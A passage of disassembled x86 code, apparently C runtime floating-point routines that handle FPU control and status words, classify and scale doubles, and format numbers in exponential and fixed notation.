		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C7A8
		fnstsw	ax
		sahf
		jbe	short loc_414466
		fld	ds:dbl_42DB28
		jmp	short loc_41446E
; ---------------------------------------------------------------------------


loc_414466:				; CODE XREF: sub_41437F+DDj
		fld	ds:dbl_42DB18
		fchs


loc_41446E:				; CODE XREF: sub_41437F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_414494
; ---------------------------------------------------------------------------


loc_414476:				; CODE XREF: sub_41437F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C7A8
		fld	ds:dbl_42DB18
		fnstsw	ax
		sahf
		ja	short loc_41448E
		fchs


loc_41448E:				; CODE XREF: sub_41437F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_414494:				; CODE XREF: sub_41437F+A5j
					; sub_41437F+CDj ...
		fstp	qword ptr [ecx]


loc_414496:				; CODE XREF: sub_41437F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_414574
; ---------------------------------------------------------------------------


loc_41449E:				; CODE XREF: sub_41437F+47j
					; sub_41437F+51j
		test	al, 2
		jz	loc_414574
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_414574
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4144B9
		mov	esi, ebx


loc_4144B9:				; CODE XREF: sub_41437F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_41C7A8
		fnstsw	ax
		sahf
		jz	loc_414562
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41472B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_414504
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_414558
; ---------------------------------------------------------------------------


loc_414504:				; CODE XREF: sub_41437F+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_41C7A8
		fnstsw	ax
		sahf
		jnb	short loc_414516
		mov	edx, ebx
		jmp	short loc_414518
; ---------------------------------------------------------------------------


loc_414516:				; CODE XREF: sub_41437F+191j
		xor	edx, edx


loc_414518:				; CODE XREF: sub_41437F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41454C
		sub	eax, ecx


loc_41452F:				; CODE XREF: sub_41437F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41453A
		test	esi, esi
		jnz	short loc_41453A
		mov	esi, ebx


loc_41453A:				; CODE XREF: sub_41437F+1B3j
					; sub_41437F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_414546
		or	byte ptr [ebp+var_C+3],	80h


loc_414546:				; CODE XREF: sub_41437F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41452F


loc_41454C:				; CODE XREF: sub_41437F+1ACj
		test	edx, edx
		jz	short loc_414558
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_414558:				; CODE XREF: sub_41437F+183j
					; sub_41437F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414562:				; CODE XREF: sub_41437F+14Ej
		mov	esi, ebx


loc_414564:				; CODE XREF: sub_41437F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_414571
		push	10h
		call	sub_41482C
		pop	ecx


loc_414571:				; CODE XREF: sub_41437F+1E8j
		and	edi, 0FFFFFFFDh


loc_414574:				; CODE XREF: sub_41437F+26j
					; sub_41437F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41458B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41458B
		push	20h
		call	sub_41482C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41458B:				; CODE XREF: sub_41437F+1F9j
					; sub_41437F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41437F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414596(int, int, int,	int, int, int, double, int)

sub_414596	proc near		; CODE XREF: sub_413FE1+2Bp
					; sub_414034+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_414644
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_414601
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_414809
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_418191
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4145FB
		push	esi
		call	sub_41461E
		pop	ecx


loc_4145FB:				; CODE XREF: sub_414596+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_414601:				; CODE XREF: sub_414596+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_414809
		push	[ebp+arg_0]
		call	sub_41461E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_414596	endp


; =============== S U B	R O U T	I N E =======================================



sub_41461E	proc near		; CODE XREF: sub_414034+7Dp
					; sub_414596+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_414639
		jle	short locret_414643
		cmp	eax, 3
		jg	short locret_414643
		mov	ds:dword_45EB14, 22h
		retn
; ---------------------------------------------------------------------------


loc_414639:				; CODE XREF: sub_41461E+7j
		mov	ds:dword_45EB14, 21h

locret_414643:				; CODE XREF: sub_41461E+9j
					; sub_41461E+Ej
		retn
sub_41461E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414644	proc near		; CODE XREF: sub_414596+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_42DA40


loc_41464B:				; CODE XREF: sub_414644+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_414661
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_42DB18
		jl	short loc_41464B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_414661:				; CODE XREF: sub_414644+Dj
		mov	eax, ds:off_42DA44[ecx*8]
		retn
sub_414644	endp


; =============== S U B	R O U T	I N E =======================================



sub_414669	proc near		; CODE XREF: sub_414034+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_414675
		push	5
		jmp	short loc_41468B
; ---------------------------------------------------------------------------


loc_414675:				; CODE XREF: sub_414669+6j
		test	al, 8
		jz	short loc_41467D
		push	1
		jmp	short loc_41468B
; ---------------------------------------------------------------------------


loc_41467D:				; CODE XREF: sub_414669+Ej
		test	al, 4
		jz	short loc_414685
		push	2
		jmp	short loc_41468B
; ---------------------------------------------------------------------------


loc_414685:				; CODE XREF: sub_414669+16j
		test	al, 1
		jz	short loc_41468D
		push	3


loc_41468B:				; CODE XREF: sub_414669+Aj
					; sub_414669+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41468D:				; CODE XREF: sub_414669+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_414669	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414696(double)

sub_414696	proc near		; CODE XREF: sub_410B8E:loc_410C14p
					; sub_410CD7:loc_410D5Dp

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_414696	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4146A8(double, int)

sub_4146A8	proc near		; CODE XREF: sub_41472B+82p
					; sub_41472B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4146A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146D1	proc near		; CODE XREF: sub_410B8E+31p
					; sub_410CD7+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4146E8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4146FA
		push	1
		jmp	short loc_414724
; ---------------------------------------------------------------------------


loc_4146E8:				; CODE XREF: sub_4146D1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4146FA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4146FA
		push	2
		jmp	short loc_414724
; ---------------------------------------------------------------------------


loc_4146FA:				; CODE XREF: sub_4146D1+11j
					; sub_4146D1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41470D
		push	3
		jmp	short loc_414724
; ---------------------------------------------------------------------------


loc_41470D:				; CODE XREF: sub_4146D1+36j
		cmp	cx, 7FF0h
		jnz	short loc_414727
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_414722
		cmp	[ebp+arg_0], edx
		jz	short loc_414727


loc_414722:				; CODE XREF: sub_4146D1+4Aj
		push	4


loc_414724:				; CODE XREF: sub_4146D1+15j
					; sub_4146D1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414727:				; CODE XREF: sub_4146D1+41j
					; sub_4146D1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4146D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41472B(double, int)

sub_41472B	proc near		; CODE XREF: sub_41437F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41C7A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41474B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4147E1
; ---------------------------------------------------------------------------


loc_41474B:				; CODE XREF: sub_41472B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4147BA
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_414763
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4147BA


loc_414763:				; CODE XREF: sub_41472B+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41C7A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41477B
		push	1
		pop	eax
		jmp	short loc_41477D
; ---------------------------------------------------------------------------


loc_41477B:				; CODE XREF: sub_41472B+49j
		xor	eax, eax


loc_41477D:				; CODE XREF: sub_41472B+4Ej
					; sub_41472B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_414796
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_414790
		or	dword ptr [ebp+arg_0+4], 1


loc_414790:				; CODE XREF: sub_41472B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41477D
; ---------------------------------------------------------------------------


loc_414796:				; CODE XREF: sub_41472B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4147A4
		or	byte ptr [ebp+arg_0+7],	80h


loc_4147A4:				; CODE XREF: sub_41472B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4146A8
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4147E1
; ---------------------------------------------------------------------------


loc_4147BA:				; CODE XREF: sub_41472B+28j
					; sub_41472B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4146A8
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4147E1:				; CODE XREF: sub_41472B+1Bj
					; sub_41472B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41472B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147EC	proc near		; CODE XREF: sub_4140CC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4147EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147FA	proc near		; CODE XREF: sub_4140CC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4147FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414809	proc near		; CODE XREF: sub_410B8E+13p
					; sub_410B8E+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_414809	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41482C	proc near		; CODE XREF: sub_41437F+1Dp
					; sub_41437F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_414843
		fld	ds:tbyte_42DB40
		fistp	[ebp+arg_0]
		wait


loc_414843:				; CODE XREF: sub_41482C+Bj
		test	cl, 8
		jz	short loc_414858
		fstsw	ax
		fld	ds:tbyte_42DB40
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_414858:				; CODE XREF: sub_41482C+1Aj
		test	cl, 10h
		jz	short loc_414867
		fld	ds:tbyte_42DB4C
		fstp	[ebp+var_8]
		wait


loc_414867:				; CODE XREF: sub_41482C+2Fj
		test	cl, 4
		jz	short loc_414875
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_414875:				; CODE XREF: sub_41482C+3Ej
		test	cl, 20h
		jz	short locret_414880
		fldpi
		fstp	[ebp+var_8]
		wait

locret_414880:				; CODE XREF: sub_41482C+4Cj
		leave
		retn
sub_41482C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414882	proc near		; CODE XREF: sub_410C5D+Fp
		push	30000h
		push	10000h
		call	sub_4181C9
		pop	ecx
		pop	ecx
		retn
sub_414882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414894	proc near		; CODE XREF: sub_4148D2:loc_4148F6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41C7B8
		fstp	[ebp+var_8]
		fld	ds:dbl_41C7B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_41C668
		fnstsw	ax
		sahf
		jbe	short loc_4148CE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4148CE:				; CODE XREF: sub_414894+33j
		xor	eax, eax
		leave
		retn
sub_414894	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148D2	proc near		; CODE XREF: sub_410C5D+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0A70000h
		wait
		test	eax, eax
		jz	short loc_4148F6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_41C0A8
		test	eax, eax
		jz	short loc_4148F6
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_4148F6:				; CODE XREF: sub_4148D2+Dj
					; sub_4148D2+1Dj
		jmp	sub_414894
sub_4148D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148FB	proc near		; DATA XREF: sub_410C75+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_411FB7
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41493B


loc_41490F:				; CODE XREF: sub_4148FB+3Ej
		inc	esi
		cmp	ds:dword_42DA2C, 1
		jle	short loc_414928
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_414937
; ---------------------------------------------------------------------------


loc_414928:				; CODE XREF: sub_4148FB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_42D820
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_414937:				; CODE XREF: sub_4148FB+2Bj
		test	eax, eax
		jnz	short loc_41490F


loc_41493B:				; CODE XREF: sub_4148FB+12j
		mov	cl, ds:byte_42DA30
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_414946:				; CODE XREF: sub_4148FB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_414946
		pop	esi
		retn
sub_4148FB	endp

; ---------------------------------------------------------------------------


loc_414955:				; DATA XREF: sub_410C75+5o
		mov	eax, [esp+4]
		mov	dl, ds:byte_42DA30
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_414971


loc_414965:				; CODE XREF: seg000:0041496Fj
		cmp	cl, dl
		jz	short loc_414971
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_414965


loc_414971:				; CODE XREF: seg000:00414963j
					; seg000:00414967j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4149A2


loc_414978:				; CODE XREF: seg000:00414989j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41498B
		cmp	cl, 65h
		jz	short loc_41498B
		cmp	cl, 45h
		jz	short loc_41498B
		inc	eax
		jmp	short loc_414978
; ---------------------------------------------------------------------------


loc_41498B:				; CODE XREF: seg000:0041497Cj
					; seg000:00414981j ...
		mov	ecx, eax


loc_41498D:				; CODE XREF: seg000:00414991j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41498D
		cmp	[eax], dl
		jnz	short loc_414998
		dec	eax


loc_414998:				; CODE XREF: seg000:00414995j
					; seg000:004149A0j
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_414998

locret_4149A2:				; CODE XREF: seg000:00414976j
		retn
; ---------------------------------------------------------------------------


loc_4149A3:				; DATA XREF: sub_410C75+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_41C7A8
		fnstsw	ax
		sahf
		jb	short loc_4149B8
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4149B8:				; CODE XREF: seg000:004149B2j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149BB	proc near		; DATA XREF: sub_410C75+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4149E4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41868C
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4149E4:				; CODE XREF: sub_4149BB+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4186B9
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_4149BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149F9	proc near		; CODE XREF: sub_414C76+17p
					; sub_414CC0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_45EB78,	0
		push	ebx
		push	esi
		jz	short loc_414A2E
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_45EB74
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_414D11
		pop	ecx
		pop	ecx
		jmp	short loc_414A66
; ---------------------------------------------------------------------------


loc_414A2E:				; CODE XREF: sub_4149F9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41875D
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4186E6
		add	esp, 14h


loc_414A66:				; CODE XREF: sub_4149F9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_414A72
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_414A72:				; CODE XREF: sub_4149F9+73j
		test	ebx, ebx
		jle	short loc_414A8A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_42DA30
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_414A8A:				; CODE XREF: sub_4149F9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_45EB78,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_411AD0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_414AB1
		mov	byte ptr [ecx],	45h


loc_414AB1:				; CODE XREF: sub_4149F9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_414AF6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_414AC5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_414AC5:				; CODE XREF: sub_4149F9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_414ADC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_414ADC:				; CODE XREF: sub_4149F9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_414AF3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_414AF3:				; CODE XREF: sub_4149F9+E7j
		add	[ecx+1], bl


loc_414AF6:				; CODE XREF: sub_4149F9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4149F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_414AFD	proc near		; CODE XREF: sub_414C9D+13p
					; sub_414CC0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_45EB78,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_414B38
		mov	eax, ds:dword_45EB7C
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_45EB74
		cmp	eax, ebx
		jnz	short loc_414B68
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_414B68
; ---------------------------------------------------------------------------


loc_414B38:				; CODE XREF: sub_414AFD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41875D
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4186E6
		add	esp, 14h


loc_414B68:				; CODE XREF: sub_414AFD+22j
					; sub_414AFD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_414B76
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_414B76:				; CODE XREF: sub_414AFD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_414B8D
		push	1
		push	edi
		call	sub_414D11
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_414B8F
; ---------------------------------------------------------------------------


loc_414B8D:				; CODE XREF: sub_414AFD+7Ej
		add	edi, eax


loc_414B8F:				; CODE XREF: sub_414AFD+8Ej
		test	ebx, ebx
		jle	short loc_414BD4
		push	1
		push	edi
		call	sub_414D11
		mov	al, ds:byte_42DA30
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_414BD4
		cmp	ds:byte_45EB78,	0
		jz	short loc_414BB9
		neg	esi
		jmp	short loc_414BBF
; ---------------------------------------------------------------------------


loc_414BB9:				; CODE XREF: sub_414AFD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_414BC1


loc_414BBF:				; CODE XREF: sub_414AFD+BAj
		mov	ebx, esi


loc_414BC1:				; CODE XREF: sub_414AFD+C0j
		push	ebx
		push	edi
		call	sub_414D11
		push	ebx
		push	30h
		push	edi
		call	sub_410870
		add	esp, 14h


loc_414BD4:				; CODE XREF: sub_414AFD+94j
					; sub_414AFD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414AFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BDB	proc near		; CODE XREF: sub_414CC0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41875D
		mov	ds:dword_45EB74, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_45EB7C, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4186E6
		mov	eax, ds:dword_45EB74
